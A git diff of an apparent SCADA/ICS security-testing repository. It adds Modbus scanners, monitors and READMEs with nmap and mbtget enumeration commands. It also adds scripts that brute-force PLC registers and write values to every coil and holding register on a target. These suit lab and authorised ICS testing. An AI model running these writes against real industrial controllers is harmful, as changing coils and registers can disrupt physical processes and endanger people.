data.datasets[i], data.datasets[(i+1)] = data.datasets[(i+1)], data.datasets[i] + self.displayDatasets() + + ## reorder the datasets, delete the current dataset + def deleteDataset(self,current_position): + i = current_position + del data.datasets[i] + self.displayDatasets() + + def displayCommSettings(self): + self.current_ipaddress = Label(self.settingsframe, text=data.ipaddress, bg='white') + self.current_ipaddress.grid (row=2,column=1,sticky='EW') + self.input_ipaddress = Entry(self.settingsframe, width=15, fg='blue') + self.input_ipaddress.grid(row=2,column=2, sticky = 'W') # needs to be on a seperate line for variable to work + self.input_ipaddress.bind('',self.updateCommSettings) ## enable the Entry to update without button click + + self.current_portno = Label(self.settingsframe, text=data.portno, bg='white') + self.current_portno.grid (row=3,column=1,sticky='EW') + self.input_portno = Entry(self.settingsframe, width=5, fg='blue') + self.input_portno.grid(row=3,column=2, sticky = 'W') + self.input_portno.bind('',self.updateCommSettings) ## update without button click + + self.current_modbusid = Label(self.settingsframe, text=data.modbusid, bg='white') + self.current_modbusid.grid (row=4,column=1,sticky='EW') + self.input_modbusid = Entry(self.settingsframe, width=5, fg='blue') + self.input_modbusid.grid(row=4,column=2, sticky = 'W') + self.input_modbusid.bind('',self.updateCommSettings) ## update without button click + + self.current_manufacturer = Label(self.settingsframe, text=data.manufacturer, bg='white') + self.current_manufacturer.grid (row=5,column=1,sticky='EW') + self.input_manufacturer = Entry(self.settingsframe, width=25, fg='blue') + self.input_manufacturer.grid(row=5,column=2, sticky = 'W') + self.input_manufacturer.bind('',self.updateCommSettings) ## update without button click + + self.current_loginterval = Label(self.settingsframe, text=data.loginterval, bg='white') + self.current_loginterval.grid (row=6,column=1,sticky='EW') + self.input_loginterval = Entry(self.settingsframe, width=3, fg='blue') + self.input_loginterval.grid(row=6,column=2, sticky = 'W') + self.input_loginterval.bind('',self.updateCommSettings) ## update without button click + + ## function for updating communication parameters with input sanitation + # if no values are given in some fields the old values are preserved + # + def updateCommSettings(self,*args): + + #print('update Communication Settings:') + if self.input_ipaddress.get() != '': + thisipaddress = str(self.input_ipaddress.get()) + ## test if the data seems to be a valid IP address + try: + self.ip_address(thisipaddress) + data.ipaddress = str(self.input_ipaddress.get()) + except: + messagebox.showerror('IP Address Error','the data you entered seems not to be a correct IP address') + ## if valid ip address entered store it + + if self.input_portno.get() != '': + ## test if the portnumber seems to be a valid value + try: + check_portno = int(self.input_portno.get()) + if check_portno < 0: + raise ValueError + except ValueError: + messagebox.showerror('Port Number Error','the value you entered seems not to be a valid port number') + return + data.portno = int(self.input_portno.get()) + + if self.input_modbusid.get() != '': + ## test if the modbus ID seems to be a valid value + try: + check_modbusid = int(self.input_portno.get()) + if check_modbusid < 0: + raise ValueError + except ValueError: + messagebox.showerror('Port Number Error','the value you entered seems not to be a valid Modbus ID') + return + data.modbusid = int(self.input_modbusid.get()) + + if self.input_manufacturer.get() != '': + data.manufacturer = (self.input_manufacturer.get()) + + if self.input_loginterval.get() != '': + ## test if the logger intervall seems to be a valid value + try: + check_loginterval = int(self.input_loginterval.get()) + if check_loginterval < 1: + raise ValueError + except ValueError: + messagebox.showerror('Logger Interval Error','the value you entered seems not to be a valid logger intervall') + return + data.loginterval = int(self.input_loginterval.get()) + + self.displayCommSettings() + + ## function for starting communication and changing button function and text + # + def startCommunication(self): + inout.runCommunication() + self.commButton.configure(text='⏹ Stop Communication',bg='red', command=(self.stopCommunication)) + + def stopCommunication(self): + inout.stopCommunication() + self.commButton.configure(text='▶ Start Communication',bg='lightblue', command=(self.startCommunication)) + + ## function for reading configuration file + # + def selectImportFile(self): + data.inifilename = filedialog.askopenfilename(title = 'Choose Configuration File',defaultextension='.ini',filetypes=[('Configuration file','*.ini'), ('All files','*.*')]) + + ## update displayed filename in entry field + self.input_inifilename.delete(0,END) + self.input_inifilename.insert(0,data.inifilename) + + self.displaySettings() + + ## function for checking for seemingly correct IP address input + # + def ip_address(self,address): + valid = address.split('.') + if len(valid) != 4: + raise ValueError + for element in valid: + if not element.isdigit(): + raise ValueError + break + i = int(element) + if i < 0 or i > 255: + raise ValueError + return + + ## function for selecting configuration export file + # + def selectExportFile(self): + data.inifilename = filedialog.asksaveasfilename(initialfile = data.inifilename, + title = 'Choose Configuration File', + defaultextension='.ini', + filetypes=[('Configuration file','*.ini'), ('All files','*.*')]) + + ## update displayed filename in entry field + self.input_inifilename.delete(0,END) + self.input_inifilename.insert(0,data.inifilename) + + inout.writeExportFile() + + ## function for choosing logger data file + # + def selectLoggerDataFile(self): + data.logfilename = filedialog.asksaveasfilename(initialfile = data.logfilename, title = 'Choose File for Logger Data', defaultextension='.csv',filetypes=[('CSV file','*.csv'), ('All files','*.*')]) + self.input_logfilename.delete(0,END) + self.input_logfilename.insert(0,data.logfilename) + + ## function for updating the current received data on display + # + def updateLoggerDisplay(self): + thisdata = '' ## make variable data known + ## delete old data + for displayed in self.targetdataframe.winfo_children(): + displayed.destroy() + ## display new data + Label(self.targetdataframe,text='Value').grid(row=0,column=0) + for thisdata in data.datavector: + ## send data to display table + Label(self.targetdataframe,text=thisdata,bg='white').grid(column=0,sticky='e') + + ## function for setting program preferences (if needed) + # + def dataSettings(self): + print('dataSettings') + + ## function for updating the configuration file + # with the path entered into the text field + # + def getInputFile(self,event): + data.inifilename = event.widget.get() + + ## function for updating the log file path + # with the path entered into the entry field + # + def setLogFile(self,event): + data.logfilename = event.widget.get() + + ## function adds dataset to the datasets list + # also updates the displayed list + # new datasets are not added to the config file + # + def addNewDataset(self): + inout.addDataset([self.input_modaddress.get(), + self.input_moddatatype.get(), + self.input_dataformat.get(), + self.input_description.get(), + self.input_dataunit.get()]) + self.displayDatasets() + #print(data.datasets) + + ## function for displaying the about dialog + # + def aboutDialog(self): + messagebox.showinfo('About Python Modbus Monitor'\ + ,'This is a program that acts as a modbus slave to receive data from modbus masters like SMA solar inverters. \nYou can choose the data to be received via the GUI and see the live data. \nYou can also call the programm from the command line with a configuration file given for the data to be retrieved. \nThe configuration file can be generated using the GUI command \"File\"→\"Export Configuration\"') + + ## function for closing the program window + # + def closeWindow(self): + exit() + +## create a data object +data = Data() + +## create an input output object +inout = Inout() + +## what to do on program exit +atexit.register(inout.cleanOnExit) + +## create main program window +## if we are in command line mode lets detect it +gui_active = 0 +if (arguments['--nogui'] == False): + ## load graphical interface library + from tkinter import * + from tkinter import messagebox + from tkinter import filedialog + try: ## if the program was called from command line without parameters + window = Tk() + ## create window container + gui = Gui(window) + gui_active = 1 + if (arguments['--inifile'] != None): + inout.checkImportFile() + gui.displaySettings() + + mainloop() + exit() ## if quitting from GUI do not proceed further down to command line handling + except TclError: + ## check if one of the required command line parameters is set + if ((arguments['--inifile'] == None) and (arguments['--ip'] == None)): + print('Error. No graphical interface found. Try "python pymodmon.py -h" for help.') + exit() + ## else continue with command line execution + +######## this section handles all command line logic ########################## + +## read the configuration file +if (arguments['--inifile'] != None): + inout.checkImportFile() + +## get log file name and try to access it +if (arguments['--logfile'] != None): + data.logfilename = str(arguments['--logfile']) + inout.writeLoggerDataFile() ## initial write to file, tests for file + +## get log interval value and check for valid value +if (arguments['--loginterval'] != None): + try: + check_loginterval = int(arguments['--loginterval']) + if check_loginterval < 1: + raise ValueError + except ValueError: + print('Log interval error. The interval must be 1 or more.') + exit() + data.loginterval = int(arguments['--loginterval']) + +## get log buffer size and check for valid value +if (arguments['--logbuffer'] != None): + try: + check_logbuffer = int(arguments['--logbuffer']) + if check_logbuffer < 1: + raise ValueError + except ValueError: + print('Log buffer error. The log buffer must be 1 or more.') + exit() + data.logmaxbuffer = int(arguments['--logbuffer']) + +## get all values for single-value reads +## all obligatory entries. missing entries will be caught by docopt. +# only simple checks will be done, because if there are errors, communication will fail. +if (arguments['--ip'] != None): ## just a check for flow logic, skipped when working with inifile + data.ipaddress = str(arguments['--ip']) + data.modbusid = int(arguments['--id']) + data.port = int(arguments['--port']) + ## because called from command line data.datasets has only one entry + # we can just append and use same mechanics as in "normal" mode + data.datasets.append( [int(arguments['--addr']), + str(arguments['--type']), + str(arguments['--format']), + str(arguments['--descr']), + str(arguments['--unit']) ] ) + +## start polling data +## single poll first +inout.runCommunication() +## if --single is set, exit immediately +if (arguments['--single'] == True): + inout.stopCommunication() + print('single run') + exit() diff --git a/modbus/misc/read_all_holding_registers.py b/modbus/misc/read_all_holding_registers.py new file mode 100644 index 0000000..d32247b --- /dev/null +++ b/modbus/misc/read_all_holding_registers.py @@ -0,0 +1,103 @@ +#!/usr/bin/env python + +""" +File: read_all_holding_registers.py +Desc: Read all holding registers from a TCP MODBUS Slave +Version: 0.0.2 +""" + +__author__ = 'rm' + +from pymodbus.client.sync import ModbusTcpClient +import argparse +import sys +import collections + + +class ModbusException(Exception): + _codes = { + 1: 'ILLEGAL FUNCTION', + 2: 'ILLEGAL DATA ADDRESS', + 3: 'ILLEGAL DATA VALUE', + 4: 'SLAVE DEVICE FAILURE', + 6: 'SLAVE DEVICE BUSY' + } + + def __init__(self, code): + self.code = code + self.message = ModbusException._codes[code] if ModbusException._codes.has_key(code) else 'Unknown Modbus Exception' + + def __str__(self): + return "Modbus Error. Exception %d: %s" % (self.code, self.message) + + +def status(msg): + sys.stderr.write(msg[:-1][:39].ljust(39,' ')+msg[-1:]) + +def validate_ipv4(s): + pieces = s.split('.') + if len(pieces) != 4: return False + try: return all(0<=int(p)<256 for p in pieces) + except ValueError: return False + +def scan(): + + parser = argparse.ArgumentParser(description = "Read all holding registries from a TCP MODBUS Slave") + parser.add_argument("ip", help="IP address of the slave") + parser.add_argument("-p", "--port", dest="port", help="Modbus Port. Defaults to 502", type=int, metavar="PORT", default=502) + parser.add_argument("-u", "--uid", dest="uid", help="Modbus Unit ID. Defaults to 1", type=int, metavar="UID", default=1) + parser.add_argument("-sa", "--start-address", dest="start_address", help="Starting Address for the scanner. Defaults to 1", type=int, metavar="START", default=1) + parser.add_argument("-ea", "--end-address", dest="end_address", help="Ending Address for the scanner. Defaults to 65535", type=int, metavar="END", default=65535) + + args = parser.parse_args() + + try: + ip = args.ip + except IndexError: + print "ERROR: No target to scan\n\n" + parser.print_help() + exit() + + # ip address format verification + if not validate_ipv4(ip): + print "ERROR: IP address is invalid\n\n" + parser.print_help() + exit() + + print 'Connecting to %s...' % ip, + # connect to modbus slave + client = ModbusTcpClient(ip, args.port) + client.connect() + if client.socket == None: + print "ERROR: Could not connect to %s." %ip + exit() + print ' Connected.' + + # TODO add ETA mechanism + results = {} + addr = 1 + registers_tested = args.end_address - args.start_address + 1 + if registers_tested == 1: + hr = client.read_holding_registers(args.start_address, 1, unit=args.uid) # unit value is device id of the slave (UID) + if hr.function_code == 3: # if we succeed reading stuff + results[addr] = hr.registers[0] + # if it fails, hr.function = 131 (0x83), cf modbus doc + else: + for addr in range(args.start_address, args.end_address): + hr = client.read_holding_registers(addr, 1, unit=args.uid) # unit value is device id of the slave (UID) + if hr.function_code == 3: # if we succeed reading stuff + results[addr] = hr.registers[0] + # if it fails, hr.function = 131 (0x83), cf modbus doc + + client.close() + print 'Register scanning is finished (%d registers were tried)' % (registers_tested) + # sorting dict for printing + ordered_results = collections.OrderedDict(sorted(results.items())) + for addr, value in ordered_results.iteritems(): + print 'Addr {0} \t{1}'.format(addr,value) + +if __name__=="__main__": + try: + scan() + except KeyboardInterrupt: + status("Ctrl-C happened\n") diff --git a/README.md b/README.md index aec1ac1..42bcf3d 100644 --- a/README.md +++ b/README.md @@ -1,4 +1,4 @@ SCADA =============== -SCADA/ICS/PLC scripts \ No newline at end of file +SCADA/ICS/PLC scripts diff --git a/modbus/GRFICS_0-99_Modbus.xls b/modbus/GRFICS_0-99_Modbus.xls new file mode 100644 index 0000000..fbe02b4 --- /dev/null +++ b/modbus/GRFICS_0-99_Modbus.xls Binary files differ diff --git a/modbus/README.md b/modbus/README.md new file mode 100644 index 0000000..f584733 --- /dev/null +++ b/modbus/README.md @@ -0,0 +1,107 @@ +MODBUS +=============== + +Modbus scripts + +## in this folder +- `enum_all.py`, script take IP as input and brute force against all the registers. Identified valid registered will be exported to excel file. Modified registers written back to origional values! +- `monitor_multiple.py`, monitor several modbus addresses with a configurable interval and pretty colours +- `set_coil.py`, set a specific coil value, loop option available + +## recommendations: +- `https://github.com/sourceperl/mbtget`, Simple perl script for make some modbus transaction from the command line. + +## Enumerate SCADA Modbus slave ids (sids) and collects their device information. +when talking to a RTU you supply a SID to tell it which PLC you want to interact with. When talking directly to a PLC generally 0x01 will be the default. +``` +nmap --script modbus-discover.nse --script-args='modbus-discover.aggressive=true' -p 502 + +``` + +## mbtget +``` +read coils: +mbtget -u 1 -p 502 -r1 -a 0 -n 125 [ip] + +read registers +mbtget -u 1 -p 502 -r3 -a 0 -n 125 [ip] + +enumerate coils: +for i in {0..1000}; do mbtget -r1 -a $i -n 1 | grep -v -e exception -e values | tee -a /tmp/coils.txt; done + +enumerate registers: +for i in {0..1000}; do mbtget -r3 -a $i -n 1 | grep -v -e exception -e values | tee -a /tmp/holding-regs.txt; done + +polling values over time (assume 5 is changing): +for i in {0..1000}; do echo -n `date +"%Y-%m-%d %T"`; mbtget -r3 -a 4 -n 1 | grep -v values | tee -a reg-4.txt; sleep 1; done +``` + +## enum_all.py +``` +$> python enum_all.py -r 0 3 -i 127.0.0.1 +****************************** +Reading Coils Status - 0x01 +100%|████████████████████████████████████| 3/3 [00:00<00:00, 677.19it/s] +Writing Coil Status - 0x05 +****************************** +Reading Holding Registers - 0x03 +100%|████████████████████████████████████| 3/3 [00:00<00:00, 25.89it/s] +Writing Holding Status - 0x06 +100%|████████████████████████████████████| 2/2 [00:00<00:00, 246.03it/s] +****************************** +Reading Discrete Input - 0x02 +100%|████████████████████████████████████| 3/3 [00:00<00:00, 795.93it/s] +****************************** +Reading Input Registers - 0x04 +100%|████████████████████████████████████| 3/3 [00:00<00:00, 766.69it/s] +****************************** +Check the output Excel File - Modbus_Output.xls + +``` + +## enum_all.py +``` +$> python monitor_muiltiple.py -h +usage: monitor_muiltiple.py [-h] [-co [COIL [COIL ...]]] + [-ho [HOLD [HOLD ...]]] + [-di [DISCRETE [DISCRETE ...]]] + [-in [INPUT [INPUT ...]]] -i IPADDRESS [-p PORT] + [-t TIMEOUT] +optional arguments: + -h, --help show this help message and exit + -co [COIL [COIL ...]] list of addresses + -ho [HOLD [HOLD ...]] list of addresses + -di [DISCRETE [DISCRETE ...]] list of addresses + -in [INPUT [INPUT ...]] list of addresses + -i IPADDRESS Input IP Address + -p PORT Port Number + -t TIMEOUT request every X seconds + +$> python monitor_muiltiple.py -co 0 1 3-6 8 -ho 0-6 -i 127.0.0.1 +### watch list ### +coils: (7)[0, 1, 3, 4, 5, 6, 8] +hold reg: (7)[0, 1, 2, 3, 4, 5, 6] +Total = 14 +------------------ +[coils:[0][1][0][0][0][0][0]][hold regs:[ 13][ 666][ ][ ][ ][ ][ ]] + +``` +## set_coil.py +``` +$> python set_coil.py -h +usage: set_coil.py [-h] -i IPADDRESS [-p PORT] -c COIL [-tr] [-l] [-t TIMEOUT] + +optional arguments: + -h, --help show this help message and exit + -i IPADDRESS, --ipaddress IPADDRESS + Input IP Address + -p PORT, --port PORT Port Number + -c COIL, --coil COIL Coil Number + -tr, --true True if set + -l, --loop loop on + -t TIMEOUT, --timeout TIMEOUT + request every X seconds + +$> python set_coil.py -i 192.168.95.2 -c 5 -tr + +``` \ No newline at end of file diff --git a/modbus/enum_all.py b/modbus/enum_all.py new file mode 100644 index 0000000..72f63d9 --- /dev/null +++ b/modbus/enum_all.py @@ -0,0 +1,183 @@ +#!/usr/bin/env python + +""" +File: enum_all.py +Desc: brute-force all the registers of a TCP MODBUS Slave + +based off of: https://github.com/nallamuthu/ModBus +fixed so works, made so sets values back to what were to limit interference/overwriting values +""" +__author__ = '0xRoM' + +from pyModbusTCP.client import ModbusClient +from xlwt import Workbook +import sys +import argparse +from tqdm import tqdm + +#Function to write single Holding Register +def write_single_hold_regiser(ip_addr,port,valid_list,permission_list): + write_confirm_list=[] + write_confirm_data=[] + data_orig={} + client=ModbusClient(host=ip_addr,port=port,auto_open=True,auto_close=True,timeout=10) + for i in tqdm(valid_list): + data_orig[i]=client.read_holding_registers(i,1) + orig_values = data_orig.values() + orig_values_list = list(orig_values) + + data=client.write_single_register(i,43981) # HEX(ABCD) == int(43981) + data=client.read_holding_registers(i,1) + #permission_list.append("Read") + #print("Regiser: "+str(i)+" => Value: "+str(data)) + if data: + if 43981==data[0]: + client.write_single_register(i,orig_values_list[i][0]) + write_confirm_list.append(i) + write_confirm_data.append(data[0]) + permission_list[i] = "Read/Write" + client.close() + return write_confirm_list,write_confirm_data,permission_list + +#Function to write single coil +def write_single_coil_regiser(ip_addr,port,coil_valid_list,coil_permission_list): + write_coil_confirm_list=[] + write_coil_confirm_data=[] + data_orig={} + client=ModbusClient(host=ip_addr,port=port,auto_open=True,auto_close=True,timeout=20) + for i in coil_valid_list: + data_orig[i] = client.read_coils(i,1) + orig_values = data_orig.values() + orig_values_list = list(orig_values) + #print("Regiser: "+str(i)+" => Value: "+str(orig_values_list[i])) + if orig_values_list[i][0] == True: + client.write_single_coil(i,False) + else: + client.write_single_coil(i,True) + data=client.read_coils(i,1) + #coil_permission_list.append("Read") + #print("Regiser: "+str(i)+" => Value: "+str(data)) + if data: + if data_orig[i]!=data[0]: + client.write_single_coil(i,orig_values_list[i][0]) + write_coil_confirm_list.append(i) + write_coil_confirm_data.append(data[0]) + coil_permission_list[i] = "Read/Write" + + client.close() + return write_coil_confirm_list,write_coil_confirm_data,coil_permission_list + +#Function to read all the registers based on the parameter received +def read_valid_registers(ip_addr,port,reg, lower, upper, timeout): + valid_list=[] + data_list=[] + permission_list=[] + client=ModbusClient(host=ip_addr,port=port,auto_open=True,auto_close=True,timeout=timeout) + for i in tqdm(range(lower,upper)): + if reg == "hold": + data=client.read_holding_registers(i,1) + if reg == "input": + data=client.read_input_registers(i,1) + if reg == "discrete": + data=client.read_discrete_inputs(i,1) + if reg == "coil": + data=client.read_coils(i,1) + if data: + valid_list.append(i) + data_list.append(data[0]) + permission_list.append("Read") +#Write the result to Excel File + client.close() + return valid_list,data_list,permission_list + + + +def write_to_excel(wb,register,valid_list,data_list,permission_list,reg_value): + sheet=wb.add_sheet(register) + sheet.write(0,0,"Register") + sheet.write(0,1,"Permission") + sheet.write(0,2,"Data") + for i in range(len(valid_list)): + sheet.write(i+1,0,valid_list[i]) + sheet.write(i+1,1,permission_list[i]) + sheet.write(i+1,2,data_list[i]) + wb.save("Modbus_Output.xls") + return wb + +# +def print_details(valid_list,data_list,operation): + if valid_list: + print("******************************") + print(operation+" - Valid Registers: \n"+str(valid_list)) + print("******************************") + print(operation+" - Valid Registers with Non-Zero Values") + print("******************************") + for i in range(len(valid_list)): + if data_list[i]: + print("Register :"+str(valid_list[i])+" => Value: "+str(data_list[i])) + print("******************************") + else: + print("******************************") + print("No Valid Register Found") + print("******************************") + +#Parse the input parameters +my_parser = argparse.ArgumentParser(description='Pass the input IP Address') +my_parser.add_argument('-i','--ipaddress', action='store', type=str,required=True, help='Input IP Address') +my_parser.add_argument('-p','--port', action='store', type=int,required=False, help='Port Number', default=502) +my_parser.add_argument('-r','--range', action='store', type=int,required=False, default=[1-500],dest='range',help='Define the range. Default is 1-500',nargs=2) +my_parser.add_argument('-t','--timeout', action='store', type=int,required=False, help='Timeout', default=10) +args = my_parser.parse_args() +ip_addr=args.ipaddress +port=args.port + + +#Create workbook to save the result +wb=Workbook() +#Coils - valid and Data [Read and Write] +print("******************************") +print("Reading Coils Status - 0x01") +coil_valid_list,coil_data_list,coil_permission_list=read_valid_registers(ip_addr,port,"coil", args.range[0], args.range[1], args.timeout) #Function Code - 0x01 + +if coil_data_list: + print("Writing Coil Status - 0x05") + write_coil_valid_list,write_coil_data_list,coil_permission_list=write_single_coil_regiser(ip_addr,port,coil_valid_list,coil_permission_list) #Function Code - 0x05 + +else: + print("No valid Register Found to do Write Operation") +#print_details(coil_valid_list,coil_data_list,"Read") +wb=write_to_excel(wb,"Coil",coil_valid_list,coil_data_list,coil_permission_list,0) + + + +#Holding Registers - valid and Data [Read and Write] +print("******************************") +print("Reading Holding Registers - 0x03") +hold_valid_list,hold_data_list,hold_permission_list=read_valid_registers(ip_addr,port,"hold", args.range[0], args.range[1], args.timeout) #Function Code - 0x03 +#print_details(hold_valid_list,hold_data_list,"Read") +if hold_data_list: + print("Writing Holding Status - 0x06") + write_hold_valid_list,write_hold_data_list,hold_permission_list=write_single_hold_regiser(ip_addr,port,hold_valid_list,hold_permission_list) #Function Code - 0x06 +else: + print("No valid Register Found to do Write Operation") +wb=write_to_excel(wb,"Holding_Register",hold_valid_list,hold_data_list,hold_permission_list,40000) + + + +#Discrete Input - valid and Data [Read Only] +print("******************************") +print("Reading Discrete Input - 0x02") +discrete_valid_list,discrete_data_list,discrete_permission_list=read_valid_registers(ip_addr,port,"discrete", args.range[0], args.range[1], args.timeout) #Function Code - 0x02 +#print_details(discrete_valid_list,discrete_data_list,"Read") +wb=write_to_excel(wb,"Discrete",discrete_valid_list,discrete_data_list,discrete_permission_list,10000) + + + +#Read Input Registers - valid and Data [Read Only] +print("******************************") +print("Reading Input Registers - 0x04") +input_valid_list,input_data_list,input_permission_list=read_valid_registers(ip_addr,port,"input", args.range[0], args.range[1], args.timeout) +#print_details(input_valid_list,input_data_list,"Read") +wb=write_to_excel(wb,"Input_Register",input_valid_list,input_data_list,input_permission_list,30000) +print("******************************") +print("Check the output Excel File - Modbus_Output.xls") \ No newline at end of file diff --git a/modbus/misc/ModbusPal.jar b/modbus/misc/ModbusPal.jar new file mode 100755 index 0000000..5bf73e4 --- /dev/null +++ b/modbus/misc/ModbusPal.jar Binary files differ diff --git a/modbus/misc/README.md b/modbus/misc/README.md new file mode 100644 index 0000000..1384f9f --- /dev/null +++ b/modbus/misc/README.md @@ -0,0 +1,106 @@ +- `dump_odd.py`, dump all data that doesn't have the default value +- `live_monitor.rb`, Allows you to scan, at a regular time, all Modbus registries of a device. +- `mocli.py`, A Command Line Interface for pymodbus +- `read_all_holding_registers.py`, used to scan and get values from holding registers on a TCP Modbus Slave; +- `write_all_holding_registers.py`, used to write a specific value to one or multiple holding registers of a TCP Modbus Slave; +- `read_register.py`, used to get values from various types of addresses on a TCP Modbus Slave (Holding Register, Discrete Input, Input Register) +- `pymodmon.py`, monitor several modbus addresses with a configurable interval and can also write the received data to a csv file. +- `pymodmon_3.py`, updated version of above script for python 3 +- `register_scanner.py`, Script take IP as input and brute force against all the registers. Identified valid registered will be exported to excel file +- `modbuspal.jar`, PC-based Modbus simulator. Its goal is to reproduce a realistic environment, with many slaves and animated register values. + +## live_monitor.rb +``` +Usage : ruby live_monitor.rb IP_ADDRESS TIME_IN_SECONDS +``` + +## live_monitor.rb +``` +Usage : python register_scanner.py -i ip_addr +``` + +## read_all_holding_registers.py +``` +usage: read_all_holding_registers.py [-h] [-p PORT] [-u UID] [-sa START] + [-ea END] + ip + +Read all holding registries from a TCP MODBUS Slave + +positional arguments: + ip IP address of the slave + +optional arguments: + -h, --help show this help message and exit + -p PORT, --port PORT Modbus Port. Defaults to 502 + -u UID, --uid UID Modbus Unit ID. Defaults to 1 + -sa START, --start-address START + Starting Address for the scanner. Defaults to 1 + -ea END, --end-address END + Ending Address for the scanner. Defaults to 65535 +``` + +## write_all_holding_registers.py +``` +usage: write_all_holding_registers.py [-h] [-p PORT] [-u UID] [-sa START] + [-ea END] [-v VALUE] + ip + +Write all holding registries on a TCP MODBUS Slave + +positional arguments: + ip IP address of the slave + +optional arguments: + -h, --help show this help message and exit + -p PORT, --port PORT Modbus Port. Defaults to 502 + -u UID, --uid UID Modbus Unit ID. Defaults to 1 + -sa START, --start-address START + Starting Address for the writer. Defaults to 1 + -ea END, --end-address END + Ending Address for the writer. Defaults to 65535 + -v VALUE, --value VALUE + Value that will be written. Defaults to 7777 +``` + +## read_register.py +``` +usage: read_register.py [-h] [-p PORT] [-u UID] [-sa START] [-ea END] + [-t TYPE] + ip + +Read specific addresses on a TCP MODBUS Slave + +positional arguments: + ip IP address of the slave + +optional arguments: + -h, --help show this help message and exit + -p PORT, --port PORT Modbus Port. Defaults to 502 + -u UID, --uid UID Modbus Unit ID. Defaults to 1 + -sa START, --start-address START + Starting Address for the scanner. Defaults to 1 + -ea END, --end-address END + Ending Address for the scanner. Defaults to 65535 + -t TYPE, --type TYPE Type of Modbus address to read. Values can be 'h' for + Holding, 'd' for Discrete Inputs or 'i' for Input + Registers. Defaults to 'h' + +``` + +# PyModMon +Python Modbus Monitor + +This is a Python skript that acts as a Modbus slave. +It can be used e.g. for reading data from newer solar inverters made by SMA. + +It has the ability to monitor several modbus addresses with a configurable interval and can also write the received data to a csv file. + +The logged data can then be used with other programs for analysing or plotting. + +Dependencies: +* Python 2.7 +* Python package docopt +* Python package pymodbus (and dependencies) + +pymodmon_3.py is the updated version for Python 3 (tested with Python 3.7). No additional functionality was added. diff --git a/modbus/misc/dump_odd.py b/modbus/misc/dump_odd.py new file mode 100644 index 0000000..176d630 --- /dev/null +++ b/modbus/misc/dump_odd.py @@ -0,0 +1,27 @@ +import sys +from pymodbus.client.sync import ModbusTcpClient +#from https://ctftime.org/writeup/31455 + +client = ModbusTcpClient(sys.argv[1]) + +for unit in range(32): + for address, register in enumerate(client.read_holding_registers(0, 99, unit=unit).registers): + if register != 0: + print(f"hr {unit} {address} {register}") + +for unit in range(32): + for address, register in enumerate(client.read_input_registers(0, 99, unit=unit).registers): + if register != 1: + print(f"ir {unit} {address} {register}") + +for unit in range(32): + for address_base in range(0, 2999, 256): + for address_index, coil in enumerate(client.read_coils(address_base, min(256, 2999 - address_base), unit=unit).bits[:min(256, 2999 - address_base)]): + if coil != False: + print(f"c {unit} {address_base + address_index} {coil}") + +for unit in range(32): + for address_base in range(0, 2999, 256): + for address_index, coil in enumerate(client.read_discrete_inputs(address_base, min(256, 2999 - address_base), unit=unit).bits[:min(256, 2999 - address_base)]): + if coil != True: + print(f"di {unit} {address_base + address_index} {coil}") diff --git a/modbus/misc/live_monitor.rb b/modbus/misc/live_monitor.rb new file mode 100644 index 0000000..8420ebc --- /dev/null +++ b/modbus/misc/live_monitor.rb @@ -0,0 +1,69 @@ +#!/usr/bin/env ruby + +require 'rmodbus' + +# Stuff to print text in colour +class String + def red; "\033[31m#{self}\033[0m" end + def green; "\033[32m#{self}\033[0m" end + def brown; "\033[33m#{self}\033[0m" end + def blue; "\033[34m#{self}\033[0m" end + def bg_gray; "\033[47m#{self}\033[0m" end +end + +@results = Array.new() +@target = ARGV[0] +delay = ARGV[1] + +# Send Modbus requests +def modbus_request(ip, port, start_address, stop_address) + cl = ModBus::TCPClient.new(ip, port) + slave = cl.with_slave(1) + unless start_address == 0 + start_address = start_address + 1 + end + test = slave.holding_registers[start_address..stop_address] + return test +end + +# grab all registers values until 65 500 ("à peu près") +def grab_all_registers + registers = Array.new() + for i in 0..654 + result = modbus_request(@target, 502, (i*100), ((i+1)*100)) + j = 0 + result.each do |yolo| + registers.push(yolo) + j = j + 1 + end + end + result = modbus_request(@target, 502, 65500, 65535) + j = 0 + result.each do |yolo| + registers.push(yolo) + j = j + 1 + end + + return registers +end + +trap("INT") { + puts ""; puts "[+] Live monitoring stopped".green; exit +} + +round = 0 +while(1) + puts '[+]'.green + ' Reading registers (#' + round.to_s + ')' + @results.push(grab_all_registers) + unless round == 0 + for b in 0..@results[0].length + if !(@results[0][b] == @results[1][b]) + puts "[!] Register ##{b} changed from #{@results[0][b]} to #{@results[1][b]} !!! ".red.bg_gray + end + end + @results.delete_at(0) + end + round = round + 1 + puts "[+] Waiting #{delay}s ..." + sleep(delay.to_i) +end diff --git a/modbus/misc/mocli.py b/modbus/misc/mocli.py new file mode 100644 index 0000000..36de113 --- /dev/null +++ b/modbus/misc/mocli.py @@ -0,0 +1,164 @@ +#!/usr/bin/env python + +import argparse +import functools + +''' +Command Line Wrapper around pymodbus + +Known Issues: + Writing Integer Values: if the first value in a --values input is a negative + value, the parser interprets it incorrectly as an option flag. This can be + avoided if the space is removed between the -v or --values flag and the + values that follow. +''' + + + +def stringBool(val): + uval = val.upper() + if uval in ['1','T','TRUE']: + return True + elif uval in ['0','F','FALSE']: + return False + else: + return None + +def arrayStringBools(valarr): + result = [stringBool(item) for item in valarr] + return result + +# String to Int works as expected except for when value is out of signed or +# unsigned Modbus Word (2 Bytes) range. In this case it will return None. If a +# negative number is provided, it is converted to the equivalent unsigned Word +# value silently. +def stringToInt(val): + intval = int(val) + if intval < -0xFFFF or intval > 0xFFFF: + return None + elif intval < 0: + return 0x10000 + intval + else: + return intval + + +def arrayStringInts(valarr): + return [stringToInt(item) for item in valarr] + +parser = argparse.ArgumentParser(prog='ReadHTcp') + +parser.add_argument('method', choices=['tcp','udp','rtu','serial'], default='tcp') +parser.add_argument('-a','--address',type=int) +parser.add_argument('-c','--count',type=int,default=1) +parser.add_argument('-v','--values',type=lambda s: [item for item in list(map(lambda t: t.strip(),s.split(',')))]) + +parser.add_argument('-i','--ip',default='127.0.0.1') +parser.add_argument('-p','--port',default=502,type=int) +parser.add_argument('-u','--unit',type=int,default='0') +# Arguments for Serial Clients +# timeout is in seconds +parser.add_argument('-t', '-timeout',type=int,default=3) +parser.add_argument('--stopbits',choices=[0,1,2],default=1) +parser.add_argument('--bytesize',choices=[5,6,7,8],default=8) +parser.add_argument('--parity',choices=['N','E','O']) +parser.add_argument('--baudrate',type=int,default=9600) + +# Datastore Arguments +parser.add_argument('--zeromode',action='store_true') + +parser.add_argument('-r','--repeat',type=int,default=1) 